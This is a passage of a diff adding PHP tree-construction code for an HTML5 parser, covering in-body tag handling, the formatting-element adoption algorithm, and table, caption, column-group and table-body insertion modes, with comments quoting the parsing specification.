+ /* If the stack of open elements has a p element in scope,
+ then act as if an end tag with the tag name p had been seen. */
+ if($this->elementInScope('p')) {
+ $this->emitToken(array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ ));
+ }
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Change the insertion mode to "in table". */
+ $this->mode = self::IN_TABLE;
+ break;
+
+ /* A start tag whose tag name is one of: "area", "basefont",
+ "bgsound", "br", "embed", "img", "param", "spacer", "wbr" */
+ case 'area': case 'basefont': case 'bgsound': case 'br':
+ case 'embed': case 'img': case 'param': case 'spacer':
+ case 'wbr':
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Immediately pop the current node off the stack of open elements. */
+ array_pop($this->stack);
+ break;
+
+ /* A start tag whose tag name is "hr" */
+ case 'hr':
+ /* If the stack of open elements has a p element in scope,
+ then act as if an end tag with the tag name p had been seen. */
+ if($this->elementInScope('p')) {
+ $this->emitToken(array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ ));
+ }
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Immediately pop the current node off the stack of open elements. */
+ array_pop($this->stack);
+ break;
+
+ /* A start tag whose tag name is "image" */
+ case 'image':
+ /* Parse error. Change the token's tag name to "img" and
+ reprocess it. (Don't ask.) */
+ $token['name'] = 'img';
+ return $this->inBody($token);
+ break;
+
+ /* A start tag whose tag name is "input" */
+ case 'input':
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an input element for the token. */
+ $element = $this->insertElement($token, false);
+
+ /* If the form element pointer is not null, then associate the
+ input element with the form element pointed to by the form
+ element pointer. */
+ $this->form_pointer !== null
+ ? $this->form_pointer->appendChild($element)
+ : end($this->stack)->appendChild($element);
+
+ /* Pop that input element off the stack of open elements. */
+ array_pop($this->stack);
+ break;
+
+ /* A start tag whose tag name is "isindex" */
+ case 'isindex':
+ /* Parse error. */
+ // w/e
+
+ /* If the form element pointer is not null,
+ then ignore the token. */
+ if($this->form_pointer === null) {
+ /* Act as if a start tag token with the tag name "form" had
+ been seen. */
+ $this->inBody(array(
+ 'name' => 'body',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ ));
+
+ /* Act as if a start tag token with the tag name "hr" had
+ been seen. */
+ $this->inBody(array(
+ 'name' => 'hr',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ ));
+
+ /* Act as if a start tag token with the tag name "p" had
+ been seen. */
+ $this->inBody(array(
+ 'name' => 'p',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ ));
+
+ /* Act as if a start tag token with the tag name "label"
+ had been seen. */
+ $this->inBody(array(
+ 'name' => 'label',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ ));
+
+ /* Act as if a stream of character tokens had been seen. */
+ $this->insertText('This is a searchable index. '.
+ 'Insert your search keywords here: ');
+
+ /* Act as if a start tag token with the tag name "input"
+ had been seen, with all the attributes from the "isindex"
+ token, except with the "name" attribute set to the value
+ "isindex" (ignoring any explicit "name" attribute). */
+ $attr = $token['attr'];
+ $attr[] = array('name' => 'name', 'value' => 'isindex');
+
+ $this->inBody(array(
+ 'name' => 'input',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => $attr
+ ));
+
+ /* Act as if a stream of character tokens had been seen
+ (see below for what they should say). */
+ $this->insertText('This is a searchable index. '.
+ 'Insert your search keywords here: ');
+
+ /* Act as if an end tag token with the tag name "label"
+ had been seen. */
+ $this->inBody(array(
+ 'name' => 'label',
+ 'type' => HTML5::ENDTAG
+ ));
+
+ /* Act as if an end tag token with the tag name "p" had
+ been seen. */
+ $this->inBody(array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ ));
+
+ /* Act as if a start tag token with the tag name "hr" had
+ been seen. */
+ $this->inBody(array(
+ 'name' => 'hr',
+ 'type' => HTML5::ENDTAG
+ ));
+
+ /* Act as if an end tag token with the tag name "form" had
+ been seen. */
+ $this->inBody(array(
+ 'name' => 'form',
+ 'type' => HTML5::ENDTAG
+ ));
+ }
+ break;
+
+ /* A start tag whose tag name is "textarea" */
+ case 'textarea':
+ $this->insertElement($token);
+
+ /* Switch the tokeniser's content model flag to the
+ RCDATA state. */
+ return HTML5::RCDATA;
+ break;
+
+ /* A start tag whose tag name is one of: "iframe", "noembed",
+ "noframes" */
+ case 'iframe': case 'noembed': case 'noframes':
+ $this->insertElement($token);
+
+ /* Switch the tokeniser's content model flag to the CDATA state. */
+ return HTML5::CDATA;
+ break;
+
+ /* A start tag whose tag name is "select" */
+ case 'select':
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Change the insertion mode to "in select". */
+ $this->mode = self::IN_SELECT;
+ break;
+
+ /* A start or end tag whose tag name is one of: "caption", "col",
+ "colgroup", "frame", "frameset", "head", "option", "optgroup",
+ "tbody", "td", "tfoot", "th", "thead", "tr". */
+ case 'caption': case 'col': case 'colgroup': case 'frame':
+ case 'frameset': case 'head': case 'option': case 'optgroup':
+ case 'tbody': case 'td': case 'tfoot': case 'th': case 'thead':
+ case 'tr':
+ // Parse error. Ignore the token.
+ break;
+
+ /* A start or end tag whose tag name is one of: "event-source",
+ "section", "nav", "article", "aside", "header", "footer",
+ "datagrid", "command" */
+ case 'event-source': case 'section': case 'nav': case 'article':
+ case 'aside': case 'header': case 'footer': case 'datagrid':
+ case 'command':
+ // Work in progress!
+ break;
+
+ /* A start tag token not covered by the previous entries */
+ default:
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ $this->insertElement($token);
+ break;
+ }
+ break;
+
+ case HTML5::ENDTAG:
+ switch($token['name']) {
+ /* An end tag with the tag name "body" */
+ case 'body':
+ /* If the second element in the stack of open elements is
+ not a body element, this is a parse error. Ignore the token.
+ (innerHTML case) */
+ if(count($this->stack) < 2 || $this->stack[1]->nodeName !== 'body') {
+ // Ignore.
+
+ /* If the current node is not the body element, then this
+ is a parse error. */
+ } elseif(end($this->stack)->nodeName !== 'body') {
+ // Parse error.
+ }
+
+ /* Change the insertion mode to "after body". */
+ $this->mode = self::AFTER_BODY;
+ break;
+
+ /* An end tag with the tag name "html" */
+ case 'html':
+ /* Act as if an end tag with tag name "body" had been seen,
+ then, if that token wasn't ignored, reprocess the current
+ token. */
+ $this->inBody(array(
+ 'name' => 'body',
+ 'type' => HTML5::ENDTAG
+ ));
+
+ return $this->afterBody($token);
+ break;
+
+ /* An end tag whose tag name is one of: "address", "blockquote",
+ "center", "dir", "div", "dl", "fieldset", "listing", "menu",
+ "ol", "pre", "ul" */
+ case 'address': case 'blockquote': case 'center': case 'dir':
+ case 'div': case 'dl': case 'fieldset': case 'listing':
+ case 'menu': case 'ol': case 'pre': case 'ul':
+ /* If the stack of open elements has an element in scope
+ with the same tag name as that of the token, then generate
+ implied end tags. */
+ if($this->elementInScope($token['name'])) {
+ $this->generateImpliedEndTags();
+
+ /* Now, if the current node is not an element with
+ the same tag name as that of the token, then this
+ is a parse error. */
+ // w/e
+
+ /* If the stack of open elements has an element in
+ scope with the same tag name as that of the token,
+ then pop elements from this stack until an element
+ with that tag name has been popped from the stack. */
+ for($n = count($this->stack) - 1; $n >= 0; $n--) {
+ if($this->stack[$n]->nodeName === $token['name']) {
+ $n = -1;
+ }
+
+ array_pop($this->stack);
+ }
+ }
+ break;
+
+ /* An end tag whose tag name is "form" */
+ case 'form':
+ /* If the stack of open elements has an element in scope
+ with the same tag name as that of the token, then generate
+ implied end tags. */
+ if($this->elementInScope($token['name'])) {
+ $this->generateImpliedEndTags();
+
+ }
+
+ if(end($this->stack)->nodeName !== $token['name']) {
+ /* Now, if the current node is not an element with the
+ same tag name as that of the token, then this is a parse
+ error. */
+ // w/e
+
+ } else {
+ /* Otherwise, if the current node is an element with
+ the same tag name as that of the token pop that element
+ from the stack. */
+ array_pop($this->stack);
+ }
+
+ /* In any case, set the form element pointer to null. */
+ $this->form_pointer = null;
+ break;
+
+ /* An end tag whose tag name is "p" */
+ case 'p':
+ /* If the stack of open elements has a p element in scope,
+ then generate implied end tags, except for p elements. */
+ if($this->elementInScope('p')) {
+ $this->generateImpliedEndTags(array('p'));
+
+ /* If the current node is not a p element, then this is
+ a parse error. */
+ // k
+
+ /* If the stack of open elements has a p element in
+ scope, then pop elements from this stack until the stack
+ no longer has a p element in scope. */
+ for($n = count($this->stack) - 1; $n >= 0; $n--) {
+ if($this->elementInScope('p')) {
+ array_pop($this->stack);
+
+ } else {
+ break;
+ }
+ }
+ }
+ break;
+
+ /* An end tag whose tag name is "dd", "dt", or "li" */
+ case 'dd': case 'dt': case 'li':
+ /* If the stack of open elements has an element in scope
+ whose tag name matches the tag name of the token, then
+ generate implied end tags, except for elements with the
+ same tag name as the token. */
+ if($this->elementInScope($token['name'])) {
+ $this->generateImpliedEndTags(array($token['name']));
+
+ /* If the current node is not an element with the same
+ tag name as the token, then this is a parse error. */
+ // w/e
+
+ /* If the stack of open elements has an element in scope
+ whose tag name matches the tag name of the token, then
+ pop elements from this stack until an element with that
+ tag name has been popped from the stack. */
+ for($n = count($this->stack) - 1; $n >= 0; $n--) {
+ if($this->stack[$n]->nodeName === $token['name']) {
+ $n = -1;
+ }
+
+ array_pop($this->stack);
+ }
+ }
+ break;
+
+ /* An end tag whose tag name is one of: "h1", "h2", "h3", "h4",
+ "h5", "h6" */
+ case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6':
+ $elements = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6');
+
+ /* If the stack of open elements has in scope an element whose
+ tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then
+ generate implied end tags. */
+ if($this->elementInScope($elements)) {
+ $this->generateImpliedEndTags();
+
+ /* Now, if the current node is not an element with the same
+ tag name as that of the token, then this is a parse error. */
+ // w/e
+
+ /* If the stack of open elements has in scope an element
+ whose tag name is one of "h1", "h2", "h3", "h4", "h5", or
+ "h6", then pop elements from the stack until an element
+ with one of those tag names has been popped from the stack. */
+ while($this->elementInScope($elements)) {
+ array_pop($this->stack);
+ }
+ }
+ break;
+
+ /* An end tag whose tag name is one of: "a", "b", "big", "em",
+ "font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */
+ case 'a': case 'b': case 'big': case 'em': case 'font':
+ case 'i': case 'nobr': case 's': case 'small': case 'strike':
+ case 'strong': case 'tt': case 'u':
+ /* 1. Let the formatting element be the last element in
+ the list of active formatting elements that:
+ * is between the end of the list and the last scope
+ marker in the list, if any, or the start of the list
+ otherwise, and
+ * has the same tag name as the token.
+ */
+ while(true) {
+ for($a = count($this->a_formatting) - 1; $a >= 0; $a--) {
+ if($this->a_formatting[$a] === self::MARKER) {
+ break;
+
+ } elseif($this->a_formatting[$a]->tagName === $token['name']) {
+ $formatting_element = $this->a_formatting[$a];
+ $in_stack = in_array($formatting_element, $this->stack, true);
+ $fe_af_pos = $a;
+ break;
+ }
+ }
+
+ /* If there is no such node, or, if that node is
+ also in the stack of open elements but the element
+ is not in scope, then this is a parse error. Abort
+ these steps. The token is ignored. */
+ if(!isset($formatting_element) || ($in_stack &&
+ !$this->elementInScope($token['name']))) {
+ break;
+
+ /* Otherwise, if there is such a node, but that node
+ is not in the stack of open elements, then this is a
+ parse error; remove the element from the list, and
+ abort these steps. */
+ } elseif(isset($formatting_element) && !$in_stack) {
+ unset($this->a_formatting[$fe_af_pos]);
+ $this->a_formatting = array_merge($this->a_formatting);
+ break;
+ }
+
+ /* 2. Let the furthest block be the topmost node in the
+ stack of open elements that is lower in the stack
+ than the formatting element, and is not an element in
+ the phrasing or formatting categories. There might
+ not be one. */
+ $fe_s_pos = array_search($formatting_element, $this->stack, true);
+ $length = count($this->stack);
+
+ for($s = $fe_s_pos + 1; $s < $length; $s++) {
+ $category = $this->getElementCategory($this->stack[$s]->nodeName);
+
+ if($category !== self::PHRASING && $category !== self::FORMATTING) {
+ $furthest_block = $this->stack[$s];
+ }
+ }
+
+ /* 3. If there is no furthest block, then the UA must
+ skip the subsequent steps and instead just pop all
+ the nodes from the bottom of the stack of open
+ elements, from the current node up to the formatting
+ element, and remove the formatting element from the
+ list of active formatting elements. */
+ if(!isset($furthest_block)) {
+ for($n = $length - 1; $n >= $fe_s_pos; $n--) {
+ array_pop($this->stack);
+ }
+
+ unset($this->a_formatting[$fe_af_pos]);
+ $this->a_formatting = array_merge($this->a_formatting);
+ break;
+ }
+
+ /* 4. Let the common ancestor be the element
+ immediately above the formatting element in the stack
+ of open elements. */
+ $common_ancestor = $this->stack[$fe_s_pos - 1];
+
+ /* 5. If the furthest block has a parent node, then
+ remove the furthest block from its parent node. */
+ if($furthest_block->parentNode !== null) {
+ $furthest_block->parentNode->removeChild($furthest_block);
+ }
+
+ /* 6. Let a bookmark note the position of the
+ formatting element in the list of active formatting
+ elements relative to the elements on either side
+ of it in the list. */
+ $bookmark = $fe_af_pos;
+
+ /* 7. Let node and last node be the furthest block.
+ Follow these steps: */
+ $node = $furthest_block;
+ $last_node = $furthest_block;
+
+ while(true) {
+ for($n = array_search($node, $this->stack, true) - 1; $n >= 0; $n--) {
+ /* 7.1 Let node be the element immediately
+ prior to node in the stack of open elements. */
+ $node = $this->stack[$n];
+
+ /* 7.2 If node is not in the list of active
+ formatting elements, then remove node from
+ the stack of open elements and then go back
+ to step 1. */
+ if(!in_array($node, $this->a_formatting, true)) {
+ unset($this->stack[$n]);
+ $this->stack = array_merge($this->stack);
+
+ } else {
+ break;
+ }
+ }
+
+ /* 7.3 Otherwise, if node is the formatting
+ element, then go to the next step in the overall
+ algorithm. */
+ if($node === $formatting_element) {
+ break;
+
+ /* 7.4 Otherwise, if last node is the furthest
+ block, then move the aforementioned bookmark to
+ be immediately after the node in the list of
+ active formatting elements. */
+ } elseif($last_node === $furthest_block) {
+ $bookmark = array_search($node, $this->a_formatting, true) + 1;
+ }
+
+ /* 7.5 If node has any children, perform a
+ shallow clone of node, replace the entry for
+ node in the list of active formatting elements
+ with an entry for the clone, replace the entry
+ for node in the stack of open elements with an
+ entry for the clone, and let node be the clone. */
+ if($node->hasChildNodes()) {
+ $clone = $node->cloneNode();
+ $s_pos = array_search($node, $this->stack, true);
+ $a_pos = array_search($node, $this->a_formatting, true);
+
+ $this->stack[$s_pos] = $clone;
+ $this->a_formatting[$a_pos] = $clone;
+ $node = $clone;
+ }
+
+ /* 7.6 Insert last node into node, first removing
+ it from its previous parent node if any. */
+ if($last_node->parentNode !== null) {
+ $last_node->parentNode->removeChild($last_node);
+ }
+
+ $node->appendChild($last_node);
+
+ /* 7.7 Let last node be node. */
+ $last_node = $node;
+ }
+
+ /* 8. Insert whatever last node ended up being in
+ the previous step into the common ancestor node,
+ first removing it from its previous parent node if
+ any. */
+ if($last_node->parentNode !== null) {
+ $last_node->parentNode->removeChild($last_node);
+ }
+
+ $common_ancestor->appendChild($last_node);
+
+ /* 9. Perform a shallow clone of the formatting
+ element. */
+ $clone = $formatting_element->cloneNode();
+
+ /* 10. Take all of the child nodes of the furthest
+ block and append them to the clone created in the
+ last step. */
+ while($furthest_block->hasChildNodes()) {
+ $child = $furthest_block->firstChild;
+ $furthest_block->removeChild($child);
+ $clone->appendChild($child);
+ }
+
+ /* 11. Append that clone to the furthest block. */
+ $furthest_block->appendChild($clone);
+
+ /* 12. Remove the formatting element from the list
+ of active formatting elements, and insert the clone
+ into the list of active formatting elements at the
+ position of the aforementioned bookmark. */
+ $fe_af_pos = array_search($formatting_element, $this->a_formatting, true);
+ unset($this->a_formatting[$fe_af_pos]);
+ $this->a_formatting = array_merge($this->a_formatting);
+
+ $af_part1 = array_slice($this->a_formatting, 0, $bookmark - 1);
+ $af_part2 = array_slice($this->a_formatting, $bookmark, count($this->a_formatting));
+ $this->a_formatting = array_merge($af_part1, array($clone), $af_part2);
+
+ /* 13. Remove the formatting element from the stack
+ of open elements, and insert the clone into the stack
+ of open elements immediately after (i.e. in a more
+ deeply nested position than) the position of the
+ furthest block in that stack. */
+ $fe_s_pos = array_search($formatting_element, $this->stack, true);
+ $fb_s_pos = array_search($furthest_block, $this->stack, true);
+ unset($this->stack[$fe_s_pos]);
+
+ $s_part1 = array_slice($this->stack, 0, $fb_s_pos);
+ $s_part2 = array_slice($this->stack, $fb_s_pos + 1, count($this->stack));
+ $this->stack = array_merge($s_part1, array($clone), $s_part2);
+
+ /* 14. Jump back to step 1 in this series of steps. */
+ unset($formatting_element, $fe_af_pos, $fe_s_pos, $furthest_block);
+ }
+ break;
+
+ /* An end tag token whose tag name is one of: "button",
+ "marquee", "object" */
+ case 'button': case 'marquee': case 'object':
+ /* If the stack of open elements has an element in scope whose
+ tag name matches the tag name of the token, then generate implied
+ tags. */
+ if($this->elementInScope($token['name'])) {
+ $this->generateImpliedEndTags();
+
+ /* Now, if the current node is not an element with the same
+ tag name as the token, then this is a parse error. */
+ // k
+
+ /* Now, if the stack of open elements has an element in scope
+ whose tag name matches the tag name of the token, then pop
+ elements from the stack until that element has been popped from
+ the stack, and clear the list of active formatting elements up
+ to the last marker. */
+ for($n = count($this->stack) - 1; $n >= 0; $n--) {
+ if($this->stack[$n]->nodeName === $token['name']) {
+ $n = -1;
+ }
+
+ array_pop($this->stack);
+ }
+
+ $marker = end(array_keys($this->a_formatting, self::MARKER, true));
+
+ for($n = count($this->a_formatting) - 1; $n > $marker; $n--) {
+ array_pop($this->a_formatting);
+ }
+ }
+ break;
+
+ /* Or an end tag whose tag name is one of: "area", "basefont",
+ "bgsound", "br", "embed", "hr", "iframe", "image", "img",
+ "input", "isindex", "noembed", "noframes", "param", "select",
+ "spacer", "table", "textarea", "wbr" */
+ case 'area': case 'basefont': case 'bgsound': case 'br':
+ case 'embed': case 'hr': case 'iframe': case 'image':
+ case 'img': case 'input': case 'isindex': case 'noembed':
+ case 'noframes': case 'param': case 'select': case 'spacer':
+ case 'table': case 'textarea': case 'wbr':
+ // Parse error. Ignore the token.
+ break;
+
+ /* An end tag token not covered by the previous entries */
+ default:
+ for($n = count($this->stack) - 1; $n >= 0; $n--) {
+ /* Initialise node to be the current node (the bottommost
+ node of the stack). */
+ $node = end($this->stack);
+
+ /* If node has the same tag name as the end tag token,
+ then: */
+ if($token['name'] === $node->nodeName) {
+ /* Generate implied end tags. */
+ $this->generateImpliedEndTags();
+
+ /* If the tag name of the end tag token does not
+ match the tag name of the current node, this is a
+ parse error. */
+ // k
+
+ /* Pop all the nodes from the current node up to
+ node, including node, then stop this algorithm. */
+ for($x = count($this->stack) - $n; $x >= $n; $x--) {
+ array_pop($this->stack);
+ }
+
+ } else {
+ $category = $this->getElementCategory($node);
+
+ if($category !== self::SPECIAL && $category !== self::SCOPING) {
+ /* Otherwise, if node is in neither the formatting
+ category nor the phrasing category, then this is a
+ parse error. Stop this algorithm. The end tag token
+ is ignored. */
+ return false;
+ }
+ }
+ }
+ break;
+ }
+ break;
+ }
+ }
+
+ private function inTable($token)
+ {
+ $clear = array('html', 'table');
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ if($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
+ /* Append the character to the current node. */
+ $text = $this->dom->createTextNode($token['data']);
+ end($this->stack)->appendChild($text);
+
+ /* A comment token */
+ } elseif($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data
+ attribute set to the data given in the comment token. */
+ $comment = $this->dom->createComment($token['data']);
+ end($this->stack)->appendChild($comment);
+
+ /* A start tag whose tag name is "caption" */
+ } elseif($token['type'] === HTML5::STARTTAG &&
+ $token['name'] === 'caption') {
+ /* Clear the stack back to a table context. */
+ $this->clearStackToTableContext($clear);
+
+ /* Insert a marker at the end of the list of active
+ formatting elements. */
+ $this->a_formatting[] = self::MARKER;
+
+ /* Insert an HTML element for the token, then switch the
+ insertion mode to "in caption". */
+ $this->insertElement($token);
+ $this->mode = self::IN_CAPTION;
+
+ /* A start tag whose tag name is "colgroup" */
+ } elseif($token['type'] === HTML5::STARTTAG &&
+ $token['name'] === 'colgroup') {
+ /* Clear the stack back to a table context. */
+ $this->clearStackToTableContext($clear);
+
+ /* Insert an HTML element for the token, then switch the
+ insertion mode to "in column group". */
+ $this->insertElement($token);
+ $this->mode = self::IN_CGROUP;
+
+ /* A start tag whose tag name is "col" */
+ } elseif($token['type'] === HTML5::STARTTAG &&
+ $token['name'] === 'col') {
+ $this->inTable(array(
+ 'name' => 'colgroup',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ ));
+
+ $this->inColumnGroup($token);
+
+ /* A start tag whose tag name is one of: "tbody", "tfoot", "thead" */
+ } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'],
+ array('tbody', 'tfoot', 'thead'))) {
+ /* Clear the stack back to a table context. */
+ $this->clearStackToTableContext($clear);
+
+ /* Insert an HTML element for the token, then switch the insertion
+ mode to "in table body". */
+ $this->insertElement($token);
+ $this->mode = self::IN_TBODY;
+
+ /* A start tag whose tag name is one of: "td", "th", "tr" */
+ } elseif($token['type'] === HTML5::STARTTAG &&
+ in_array($token['name'], array('td', 'th', 'tr'))) {
+ /* Act as if a start tag token with the tag name "tbody" had been
+ seen, then reprocess the current token. */
+ $this->inTable(array(
+ 'name' => 'tbody',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ ));
+
+ return $this->inTableBody($token);
+
+ /* A start tag whose tag name is "table" */
+ } elseif($token['type'] === HTML5::STARTTAG &&
+ $token['name'] === 'table') {
+ /* Parse error. Act as if an end tag token with the tag name "table"
+ had been seen, then, if that token wasn't ignored, reprocess the
+ current token. */
+ $this->inTable(array(
+ 'name' => 'table',
+ 'type' => HTML5::ENDTAG
+ ));
+
+ return $this->mainPhase($token);
+
+ /* An end tag whose tag name is "table" */
+ } elseif($token['type'] === HTML5::ENDTAG &&
+ $token['name'] === 'table') {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as the token, this is a parse error.
+ Ignore the token. (innerHTML case) */
+ if(!$this->elementInScope($token['name'], true)) {
+ return false;
+
+ /* Otherwise: */
+ } else {
+ /* Generate implied end tags. */
+ $this->generateImpliedEndTags();
+
+ /* Now, if the current node is not a table element, then this
+ is a parse error. */
+ // w/e
+
+ /* Pop elements from this stack until a table element has been
+ popped from the stack. */
+ while(true) {
+ $current = end($this->stack)->nodeName;
+ array_pop($this->stack);
+
+ if($current === 'table') {
+ break;
+ }
+ }
+
+ /* Reset the insertion mode appropriately. */
+ $this->resetInsertionMode();
+ }
+
+ /* An end tag whose tag name is one of: "body", "caption", "col",
+ "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr" */
+ } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'],
+ array('body', 'caption', 'col', 'colgroup', 'html', 'tbody', 'td',
+ 'tfoot', 'th', 'thead', 'tr'))) {
+ // Parse error. Ignore the token.
+
+ /* Anything else */
+ } else {
+ /* Parse error. Process the token as if the insertion mode was "in
+ body", with the following exception: */
+
+ /* If the current node is a table, tbody, tfoot, thead, or tr
+ element, then, whenever a node would be inserted into the current
+ node, it must instead be inserted into the foster parent element. */
+ if(in_array(end($this->stack)->nodeName,
+ array('table', 'tbody', 'tfoot', 'thead', 'tr'))) {
+ /* The foster parent element is the parent element of the last
+ table element in the stack of open elements, if there is a
+ table element and it has such a parent element. If there is no
+ table element in the stack of open elements (innerHTML case),
+ then the foster parent element is the first element in the
+ stack of open elements (the html element). Otherwise, if there
+ is a table element in the stack of open elements, but the last
+ table element in the stack of open elements has no parent, or
+ its parent node is not an element, then the foster parent
+ element is the element before the last table element in the
+ stack of open elements. */
+ for($n = count($this->stack) - 1; $n >= 0; $n--) {
+ if($this->stack[$n]->nodeName === 'table') {
+ $table = $this->stack[$n];
+ break;
+ }
+ }
+
+ if(isset($table) && $table->parentNode !== null) {
+ $this->foster_parent = $table->parentNode;
+
+ } elseif(!isset($table)) {
+ $this->foster_parent = $this->stack[0];
+
+ } elseif(isset($table) && ($table->parentNode === null ||
+ $table->parentNode->nodeType !== XML_ELEMENT_NODE)) {
+ $this->foster_parent = $this->stack[$n - 1];
+ }
+ }
+
+ $this->inBody($token);
+ }
+ }
+
+ private function inCaption($token)
+ {
+ /* An end tag whose tag name is "caption" */
+ if($token['type'] === HTML5::ENDTAG && $token['name'] === 'caption') {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as the token, this is a parse error.
+ Ignore the token. (innerHTML case) */
+ if(!$this->elementInScope($token['name'], true)) {
+ // Ignore
+
+ /* Otherwise: */
+ } else {
+ /* Generate implied end tags. */
+ $this->generateImpliedEndTags();
+
+ /* Now, if the current node is not a caption element, then this
+ is a parse error. */
+ // w/e
+
+ /* Pop elements from this stack until a caption element has
+ been popped from the stack. */
+ while(true) {
+ $node = end($this->stack)->nodeName;
+ array_pop($this->stack);
+
+ if($node === 'caption') {
+ break;
+ }
+ }
+
+ /* Clear the list of active formatting elements up to the last
+ marker. */
+ $this->clearTheActiveFormattingElementsUpToTheLastMarker();
+
+ /* Switch the insertion mode to "in table". */
+ $this->mode = self::IN_TABLE;
+ }
+
+ /* A start tag whose tag name is one of: "caption", "col", "colgroup",
+ "tbody", "td", "tfoot", "th", "thead", "tr", or an end tag whose tag
+ name is "table" */
+ } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'],
+ array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th',
+ 'thead', 'tr'))) || ($token['type'] === HTML5::ENDTAG &&
+ $token['name'] === 'table')) {
+ /* Parse error. Act as if an end tag with the tag name "caption"
+ had been seen, then, if that token wasn't ignored, reprocess the
+ current token. */
+ $this->inCaption(array(
+ 'name' => 'caption',
+ 'type' => HTML5::ENDTAG
+ ));
+
+ return $this->inTable($token);
+
+ /* An end tag whose tag name is one of: "body", "col", "colgroup",
+ "html", "tbody", "td", "tfoot", "th", "thead", "tr" */
+ } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'],
+ array('body', 'col', 'colgroup', 'html', 'tbody', 'tfoot', 'th',
+ 'thead', 'tr'))) {
+ // Parse error. Ignore the token.
+
+ /* Anything else */
+ } else {
+ /* Process the token as if the insertion mode was "in body". */
+ $this->inBody($token);
+ }
+ }
+
+ private function inColumnGroup($token)
+ {
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ if($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
+ /* Append the character to the current node. */
+ $text = $this->dom->createTextNode($token['data']);
+ end($this->stack)->appendChild($text);
+
+ /* A comment token */
+ } elseif($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data
+ attribute set to the data given in the comment token. */
+ $comment = $this->dom->createComment($token['data']);
+ end($this->stack)->appendChild($comment);
+
+ /* A start tag whose tag name is "col" */
+ } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'col') {
+ /* Insert a col element for the token. Immediately pop the current
+ node off the stack of open elements. */
+ $this->insertElement($token);
+ array_pop($this->stack);
+
+ /* An end tag whose tag name is "colgroup" */
+ } elseif($token['type'] === HTML5::ENDTAG &&
+ $token['name'] === 'colgroup') {
+ /* If the current node is the root html element, then this is a
+ parse error, ignore the token. (innerHTML case) */
+ if(end($this->stack)->nodeName === 'html') {
+ // Ignore
+
+ /* Otherwise, pop the current node (which will be a colgroup
+ element) from the stack of open elements. Switch the insertion
+ mode to "in table". */
+ } else {
+ array_pop($this->stack);
+ $this->mode = self::IN_TABLE;
+ }
+
+ /* An end tag whose tag name is "col" */
+ } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'col') {
+ /* Parse error. Ignore the token. */
+
+ /* Anything else */
+ } else {
+ /* Act as if an end tag with the tag name "colgroup" had been seen,
+ and then, if that token wasn't ignored, reprocess the current token. */
+ $this->inColumnGroup(array(
+ 'name' => 'colgroup',
+ 'type' => HTML5::ENDTAG
+ ));
+
+ return $this->inTable($token);
+ }
+ }
+
+ private function inTableBody($token)
+ {
+ $clear = array('tbody', 'tfoot', 'thead', 'html');
+
+ /* A start tag whose tag name is "tr" */
+ if($token['type'] === HTML5::STARTTAG && $token['name'] === 'tr') {
+ /* Clear the stack back to a table body context. */
+ $this->clearStackToTableContext($clear);
+
+ /* Insert a tr element for the token, then switch the insertion
+ mode to "in row". */
+ $this->insertElement($token);
+ $this->mode = self::IN_ROW;
+
+ /* A start tag whose tag name is one of: "th", "td" */
+ } elseif($token['type'] === HTML5::STARTTAG &&
+ ($token['name'] === 'th' || $token['name'] === 'td')) {
+ /* Parse error. Act as if a start tag with the tag name "tr" had
+ been seen, then reprocess the current token. */
+ $this->inTableBody(array(
+ 'name' => 'tr',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ ));
+
+ return $this->inRow($token);
+
+ /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */
+ } elseif($token['type'] === HTML5::ENDTAG &&
+ in_array($token['name'], array('tbody', 'tfoot', 'thead'))) {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as the token, this is a parse error.
+ Ignore the token. */
+ if(!$this->elementInScope($token['name'], true)) {
+ // Ignore
+
+ /* Otherwise: */
+ } else {
+ /* Clear the stack back to a table body context. */
